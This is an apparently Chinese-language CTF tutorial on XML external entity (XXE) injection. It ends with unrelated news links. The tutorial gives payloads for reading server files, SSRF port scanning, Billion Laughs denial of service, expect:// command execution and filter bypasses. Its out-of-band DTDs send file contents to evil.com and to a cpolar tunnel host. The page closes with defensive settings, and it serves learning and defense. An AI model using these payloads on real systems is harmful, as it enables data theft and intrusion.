发布时间:2026/8/4 3:02:57
XXE 漏洞 CTF 一、漏洞原理XXEXML External Entity InjectionXML 外部实体注入是指攻击者在可控的 XML 数据中通过构造恶意的外部实体声明让服务器解析 XML 时加载外部资源或文件从而导致信息泄露、请求伪造、命令执行等危害。核心成因应用的 XML 解析器启用了外部实体加载功能并且解析的 XML 内容部分可控攻击者可以注入自定义的 DOCTYPE 和实体定义。XML 基础回顾一个典型的 XML 文件结构?xml version1.0 encodingUTF-8?!DOCTYPEfoo[!ENTITYxxeHelloWorld]rootnamexxe;/name/root!DOCTYPE定义文档类型可以包含内部实体或外部实体。!ENTITY定义一个实体实体的引用xxe;会被替换成其内容。外部实体使用SYSTEM关键字引用外部资源例如!ENTITY xxe SYSTEM file:///etc/passwd当xxe;被解析时会加载指定文件内容。XXE 触发的关键条件XML 解析器开启了外部实体解析默认在许多旧版解析器中是开启的。攻击者能够控制 XML 内容的一部分如接口接受 XML 输入或可上传 XML 文件。二、XXE 的危害任意文件读取通过file://协议读取服务器本地文件如/etc/passwd、/flagSSRF通过http://协议让服务器发起对内网或其他服务器的请求端口探测通过发起内网请求并根据响应判断端口开放情况拒绝服务DoS构造递归实体造成解析器资源耗尽“Billion Laughs” 攻击远程代码执行少见在极少数配置下可通过expect://协议执行系统命令PHP 的 expect 模块数据外带在盲 XXE 中将文件内容通过 HTTP/FTP 请求发送到攻击者服务器三、XXE 的分类根据回显方式可分为三类3.1 有回显 XXEIn-band XXE应用会将 XML 的解析结果或实体引用的内容直接返回到响应中攻击者可以直接在返回内容里看到文件内容。示例 Payload?xml version1.0 encodingUTF-8?!DOCTYPEroot[!ENTITY xxe SYSTEM file:///tmp/flag.txt]rootusernamexxe;/username/root!DOCTYPEuser[!ENTITY xxe SYSTEM file:///tmp/flag.txt]userusernamexxe;/username/user- !ENTITYxxe自定义实体名称 xxe调用时用xxe;引用 - SYSTEM标记这是**外部实体**会读取外部资源 - file:///tmp/flag.txt本地文件协议告诉解析器读取服务器 /tmp/flag.txt 文件内容 -XML 解析器在渲染文档时会自动把xxe;替换成 /tmp/flag.txt 的完整文本内容最终响应返回文件内容给攻击者。如果返回的name标签内容变成了/etc/passwd的文件内容即为有回显 XXE。3.2 带外数据 XXEOOB XXEOut-of-Band没有直接回显但可以强制解析器向攻击者服务器发送请求通过 HTTP 或 DNS 将文件内容带出。示例 Payload通过 HTTP 外带!DOCTYPEfoo[!ENTITY % file SYSTEM file:///flag !ENTITY % call !ENTITY exfil SYSTEM http://evil.com/?data%file; %call;]?xml version1.0?!DOCTYPEdata[!ENTITY xxe SYSTEM File:///tmp/flag.txt]datausernamexxe/usernameemailguestexample.com/email/data注意这种写法由于实体引用限制通常需要将参数实体和常规实体分开使用实际利用时需要使用 DTD 文件组合。3.3 盲 XXEBlind XXE完全没有直接回显也不能直接建立出站连接或只能依赖错误信息。需要利用错误信息泄露或时间盲注等方式推断数据。例如当文件不存在时产生错误或通过不同响应状态码判断/flag是否存在。dtd文件中用 !ENTITY % file SYSTEM php://filter/convert.base64-encode/resource/tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file; %exfiltrate; %send; 这个base64编码就可以 用file直接读取文件 !ENTITY % file SYSTEM file:///tmp/flag.txt !ENTITY % exfiltrate !ENTITY#x25;send SYSTEM https://3510c197.r18.cpolar.top/?flag%file;%exfiltrate;%send; 报错Notice : DOMDocument::loadXML(): PEReference: %send; not found in Entity, line: 1 in 这是为什么呢 内侧ENTITY声明不要加符号空格就行 注意 !ENTITY % exe !ENTITY % entity SYSTEM http://.../?flag%file; !ENTITY % exe !ENTITY#37;entity SYSTEM http://.../?flag%file; 这俩写法都是错的不要在内部的ENTITY再写 % 或者#37;正确做法是不写四、XXE 的利用手法4.1 读取本地文件最常用适用于有回显场景。基础 payload?xml version1.0?!DOCTYPEa[!ENTITY xxe SYSTEM file:///flag]rootxxe;/root常用文件路径Linux:/etc/passwd、/flag、/proc/self/environWindows:C:\Windows\win.ini、C:\flag.txt绕过绝对路径未知可以读取/etc/hostname、/proc/self/cwd/flag当前工作目录下的 flag等。4.2 利用 PHP 伪协议读取文件如果目标服务器是 PHP且 XML 解析器支持 PHP 封装协议如php://filter可读取源码或文件并返回 Base64 编码的内容。!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]rootxxe;/root返回 base64 编码后的 flag解码即可。4.3 内网请求与端口扫描SSRF利用http://协议发起请求!DOCTYPEfoo[!ENTITY xxe SYSTEM http://192.168.1.1:8080/flag]rootxxe;/root扫描端口尝试不同端口根据响应时间或错误信息如“Connection refused”判断端口是否开放。常配合 Burp Intruder。4.4 盲 XXE 外带数据OOB当没有直接回显时通过将文件内容嵌入到对攻击者服务器的请求中来窃取数据。经典 OOB 结构利用参数实体和外部 DTD在攻击者 VPS 上放置一个 DTD 文件如evil.dtd!ENTITY % file SYSTEM file:///flag !ENTITY % start !ENTITY#x25;send SYSTEM http://evil.com/?f%file; %start;%是%的实体编码用于绕过嵌套实体限制在目标处提交 XML payload引入外部 DTD 并调用?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://evil.com/evil.dtd %dtd;]roottest/root解析时会加载外部 DTD其中定义了file实体读取本地文件然后通过 HTTP 请求将内容发送到攻击者服务器。在 VPS 的访问日志中即可看到/flag的内容。注意这种方式要求目标服务器能够出站访问攻击者的服务器有网络策略可能阻断。4.5 利用 DNS 外带无需 HTTP 出站若 HTTP 被禁但 DNS 请求能出站可以通过 DNS 查询携带数据。在 DTD 中使用!ENTITY % file SYSTEM file:///flag !ENTITY % send SYSTEM http://%file;.evil.com/将文件内容作为子域名发出 DNS 查询攻击者在 DNS 服务器端查看日志即可得到内容需注意域名长度限制和字符限制可能需要过滤/截断。4.6 拒绝服务攻击Billion Laughs递归实体导致指数级膨胀耗尽内存。?xml version1.0?!DOCTYPElolz[!ENTITYlollol!ENTITYlol2lol;lol;lol;lol;lol;lol;lol;lol;lol;lol;!ENTITYlol3lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;lol2;...]lolzlol9;/lolz触发服务器资源耗尽导致拒绝服务。4.7 执行系统命令较少PHP 环境下若安装了expect扩展并且 XML 解析器加载了该模块可以使用expect://协议执行命令!DOCTYPEfoo[!ENTITY xxe SYSTEM expect://id]rootxxe;/root但实际环境中极为罕见一般不作为主要攻击面。五、绕过 XXE 防御技巧部分应用会对用户的输入进行过滤如移除ENTITY、SYSTEM等关键词需要绕过。5.1 大小写变体!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]改成!doctypefoo[!entity xxe system file:///flag]5.2 编码绕过使用 UTF-16 编码绕过 WAF需确保 Content-Type 对应使用实体编码代替等但 DOCTYPE 声明本身必须为原始字符内部可用在外部 DTD 里进行嵌套避免直接出现敏感关键词5.3 空格与注释混淆在关键词中间插入空格、换行或注释!DOCTYPEfoo[!ELEMENTfooANY!ENTITY xxe SYSTEM file:///flag]或!ENTITY % xxe SYSTEM file:///flag %xxe;5.4 使用参数实体分段调用将 SYSTEM 和路径分开定义避免直接被过滤!DOCTYPEfoo[!ENTITY%call“SYSTEM”!ENTITY % path “file:///flag”!ENTITY%xxe“%call;‘%path;’” %xxe;]实践中需要根据解析器特性调整5.5 JSON 到 XML 的攻击面XML 内部转换如果应用接受 JSON 输入但内部转换为 XML 处理例如使用了 XML 数据库或 SOAP可尝试注入包含 XML 实体的 JSON 内容或通过 JSON 值修改内部 XML 结构。六、CTF 实战示例XXE 读 Flag题目描述一个在线购物网站支持通过 XML 格式上传订单数据。提交 XML 后返回订单确认信息。目标读取服务器上的/flag文件。步骤确定 XML 解析拦截正常请求发现Content-Type: application/xml请求体为?xml version1.0?orderitembook/itemquantity1/quantity/order响应中会回显messageOrder placed for book x 1/message说明我们的输入被解析并回显。测试实体注入有回显发送?xml version1.0?!DOCTYPEfoo[!ENTITYtesthello]orderitemtest;/itemquantity1/quantity/order响应变为Order placed for hello x 1成功执行实体确认存在有回显 XXE。尝试读取文件?xml version1.0?!DOCTYPEfoo[!ENTITY xxe SYSTEM file:///flag]orderitemxxe;/itemquantity1/quantity/order若直接返回 flag 内容则完成。如果失败比如被过滤尝试下一步。使用 PHP 伪协议假设后端为 PHP!DOCTYPEfoo[!ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/flag]orderitemxxe;/item/order返回 base64 字符串解码得到 flag。若直接回显被禁用盲 XXE尝试带外数据。在自己的 VPS 上放置evil.dtd内容如上文 OOB 部分。然后发送?xml version1.0?!DOCTYPEfoo[!ENTITY % dtd SYSTEM http://your-vps/evil.dtd %dtd;]orderitem1/item/order在 VPS 日志中看到包含/flag内容的请求。绕过过滤如果提示“ENTITY is not allowed”之类的错误尝试大小写或利用参数实体。或者通过将整个注入放在外部 DTD 中减少直接敏感字符。拿到 Flag成功将文件内容显示或外带得到flag{xxe_is_fun}。七、常见防御措施禁用外部实体解析这是最根本的防御。在各种语言中配置PHPlibxml_disable_entity_loader(true);Java (SAX/DOM)设置setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)Python (lxml)使用resolve_entitiesFalse使用不易受 XXE 影响的 XML 库如 Python 的defusedxmlJava 的XMLInputFactory安全配置。白名单验证输入内容过滤!DOCTYPE、!ENTITY、SYSTEM等但绕过可能性高不推荐作为唯一防线。升级解析器较新版本的库默认禁用外部实体。WAF可以检测并阻止典型的 XXE payload但需配合后端安全配置。最小权限运行限制出站网络连接防止盲 XXE 外带数据。八、总结XXE 漏洞本质是XML 解析器对用户输入的盲信执行了攻击者定义的外部实体加载。CTF 中常考察有回显读文件、带外数据外带、内网探测等利用手法。绕过技巧集中在协议伪协议、编码混淆和实体嵌套构造上。防御的核心是禁用外部实体而非依赖过滤或 WAF。理解 DTD 和实体的工作机制是掌握 XXE 的关键。

相关新闻

2026/8/4 2:57:57

FairyGUI与Unity坐标转换全解析:从原理到实战避坑指南

1. 项目概述:为什么FairyGUI与Unity的坐标转换如此重要?如果你正在用FairyGUI给Unity项目做UI,并且遇到过UI元素位置飘忽不定、点击区域对不上、或者在不同分辨率下表现诡异的问题,那么你大概率是踩进了坐标转换的“坑”里。这几乎…

2026/8/4 2:57:57

华为CANN PYASC Python算子接口开发与性能优化指南

1. CANN PYASC Python算子接口概述在AI和高性能计算领域,华为推出的CANN(Compute Architecture for Neural Networks)作为昇腾AI处理器的软件栈核心,近期推出的PYASC(Python Accelerated Scientific Computing&#xf…

2026/8/4 4:08:01

复小波变换时频脊线提取技术及其MATLAB实现

1. 复小波变换时频脊线提取技术概述复小波变换时频脊线提取是一种用于非平稳信号频率特征分析的重要方法。我在处理振动信号和声学信号时,发现传统傅里叶变换在时频局部化分析上的局限性,而小波脊线技术完美解决了这个问题。这项技术的核心价值在于&…

2026/8/4 4:08:01

设计模式 04 · 抽象工厂模式

上一篇的工厂方法,解决的是"一个产品有多种实现,该造哪一个"。但现实里有一类更麻烦的情况:你要造的不是一个产品,而是一整套互相搭配、必须配套使用的产品。 比如做一笔线上订单,你需要的不只是一个 Order,还有配套的电子发票 Invoice、以及虚拟发货单 Shipment;而换…

2026/8/4 4:08:01

Java单例模式:线程安全实现与最佳实践

1. 单例模式的核心价值与应用场景单例模式可能是设计模式中最简单却又最容易被误用的一个。我在十多年的Java开发经历中,见过太多错误实现单例的案例——有的导致性能问题,有的甚至根本不能保证单例。这个看似简单的模式,实际上蕴含着线程安全…

2026/8/4 4:03:01

Java项目转SpringBoot实战:依赖管理与配置优化

1. 从零开始:普通Java项目转SpringBoot的完整指南去年接手一个遗留的Java Web项目时,我面临着一个典型困境:这个使用传统SSH(StrutsSpringHibernate)架构的项目,配置文件散落在各处,启动需要依赖…

2026/8/3 21:14:30

如何用免费工具突破游戏窗口限制:SRWE完整使用指南

如何用免费工具突破游戏窗口限制:SRWE完整使用指南 【免费下载链接】SRWE Simple Runtime Window Editor 项目地址: https://gitcode.com/gh_mirrors/sr/SRWE 你是否遇到过这样的困扰?想为心爱的游戏截图,却发现游戏不支持自定义分辨率…

2026/8/4 0:02:01

dealsea是什么?跨境卖家必知的美国deal站入门指南

说实话,第一次听说美国这个老牌折扣网站的跨境卖家,十个有八个会问同一个问题:这个平台到底是干嘛的?我见过一个做家居出口的朋友,他在亚马逊上月销二十万美金,却从来没用过它。我给他看了首页——一屏一屏…

2026/8/3 22:40:58

实测才敢推 AI论文网站 2026最新测评与推荐

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。一、综…

2026/8/3 13:26:41

2026必备!AI论文网站测评:最新推荐与深度对比

2026年真正好用的AI论文网站,核心看生成的论文质量、低AI味、格式正确、学术适配四大指标。综合实测,千笔AI、ThouPen、豆包、DeepSeek、Grammarly 是当前最值得推荐的梯队,覆盖从免费到付费、从中文到英文、从文科到理工的全场景需求。 一、…

2026/8/3 16:43:13

摆脱论文困扰!盘点2026年全网爆红的的AI论文写作工具

一天写完毕业论文在2026年已不再是天方夜谭。2026年最炸裂、实测能大幅提速的AI论文写作工具,覆盖选题构思、文献整理、内容生成、格式排版等核心场景,真正帮你高效搞定论文难题。 一、全流程王者:一站式搞定论文全链路(一天定稿首…